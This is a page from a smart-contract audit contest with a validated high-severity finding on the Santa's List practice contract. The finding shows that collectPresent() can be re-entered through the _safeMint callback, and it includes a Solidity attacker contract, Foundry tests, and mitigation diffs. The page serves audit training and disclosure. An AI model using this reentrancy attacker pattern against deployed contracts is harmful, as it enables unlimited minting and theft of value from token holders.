Santa's List
AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

collectPresent() is vulnerable to reentrancy via the _safeMint callback, allowing an attacker to mint unlimited NFTs in a single transaction

blackburn

Root + Impact

An attacker contract can exploit the onERC721Received callback triggered by OZ _safeMint to re-enter collectPresent() repeatedly within a single transaction. The only guard (balanceOf > 0) is rendered ineffective by transferring the NFT out during the callback, resetting the balance to 0 before each re-entry. The attacker can mint an unbounded number of NFTs in one transaction, completely destroying the collection's scarcity.

Any address with NICE or EXTRA_NICE status (obtainable freely via the unguarded checkList()) can deploy an attacker contract and execute this in one transaction after the Christmas timestamp. No capital is required beyond gas.

Description

  • collectPresent() uses balanceOf(msg.sender) > 0 as its already-collected guard and calls _mintAndIncrement() which internally calls OZ's _safeMint:

  • Explain the specific issue or problem in one or more sentences

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
// @> mutable guard — can be reset to 0 by transferring NFT during callback
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE
&& s_theListCheckedTwice[msg.sender] == Status.NICE) {
// @> _safeMint calls onERC721Received on recipient contracts before returning
_mintAndIncrement();
return;
}
...
}

OZ _safeMint mints the token first (incrementing balanceOf), then calls onERC721Received on the recipient if it is a contract. During this callback:

balanceOf(attacker) is 1 — but attacker transfers the NFT to a dump address
balanceOf(attacker) drops to 0
Attacker re-calls collectPresent() — the guard passes again
New NFT minted, callback fires again — loop continues until gas is exhausted
No permanent "collected" flag is ever written to storage. The contract has no nonReentrant modifier and violates the Checks-Effects-Interactions pattern — the state is never durably updated before the external call.

Risk

Likelihood:

  • Any address with a valid status (freely obtainable via unguarded checkList()) can execute this

  • Requires only deploying a contract with onERC721Received — standard Solidity

  • Executable in a single transaction after Christmas timestamp

Impact:

  • Hundreds of NFTs minted per transaction (gas bound only)
    NFT scarcity permanently destroyed — collection loses all value
    Multiple token IDs consumed per attack, blocking legitimate users from their allotted IDs
    EXTRA_NICE path also re-enters, minting unlimited SantaTokens per loop iteration

Proof of Concept

contract ReentrancyCollectAttacker is IERC721Receiver {
SantasList immutable santasList;
address immutable dump;
uint256 public mintCount;
uint256 public targetCount;
​
constructor(address _santasList, address _dump, uint256 _targetCount) {
santasList = SantasList(_santasList);
dump = _dump;
targetCount = _targetCount;
}
​
function attack() external {
santasList.checkList(address(this), SantasList.Status.NICE);
santasList.collectPresent();
}
​
function onERC721Received(address, address, uint256 tokenId, bytes calldata)
external override returns (bytes4)
{
// Transfer NFT out -> balanceOf = 0 -> re-entry succeeds
santasList.transferFrom(address(this), dump, tokenId);
if (mintCount < targetCount) {
mintCount++;
santasList.collectPresent();
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
function test_F5_ReentrancyMintsMultipleNFTs() public {
// One attack() call mints 5 NFTs (1 initial + 4 reentrant)
attackerContract.attack();
assertEq(santasList.balanceOf(dump), 5);
}

Recommended Mitigation

Add a dedicated mapping(address => bool) s_alreadyCollected flag that is set to true before any external call. This permanently records collection state and cannot be reset by transferring tokens.

Alternatively, add OpenZeppelin's ReentrancyGuard and apply the nonReentrant modifier to collectPresent().

+ mapping(address => bool) private s_alreadyCollected;
​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (s_alreadyCollected[msg.sender]) {
+ revert SantasList__AlreadyCollected();
+ }
+ s_alreadyCollected[msg.sender] = true;
if (s_theListCheckedOnce[msg.sender] == Status.NICE ...
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!